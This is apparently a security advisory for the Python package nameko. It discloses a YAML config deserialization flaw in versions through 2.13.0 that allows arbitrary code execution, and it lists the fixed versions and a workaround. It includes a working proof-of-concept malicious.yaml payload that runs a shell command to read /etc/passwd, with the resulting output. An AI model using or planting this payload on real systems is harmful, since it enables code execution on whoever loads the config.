Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Affected: PyPI: nameko

### Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

``` yaml # malicious.yaml !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('os').system('cat /etc/passwd')" ```

``` shell $ nameko run --config malicious.yaml test root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin ... ```

### Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

### Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

Affected: PyPI: nameko

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.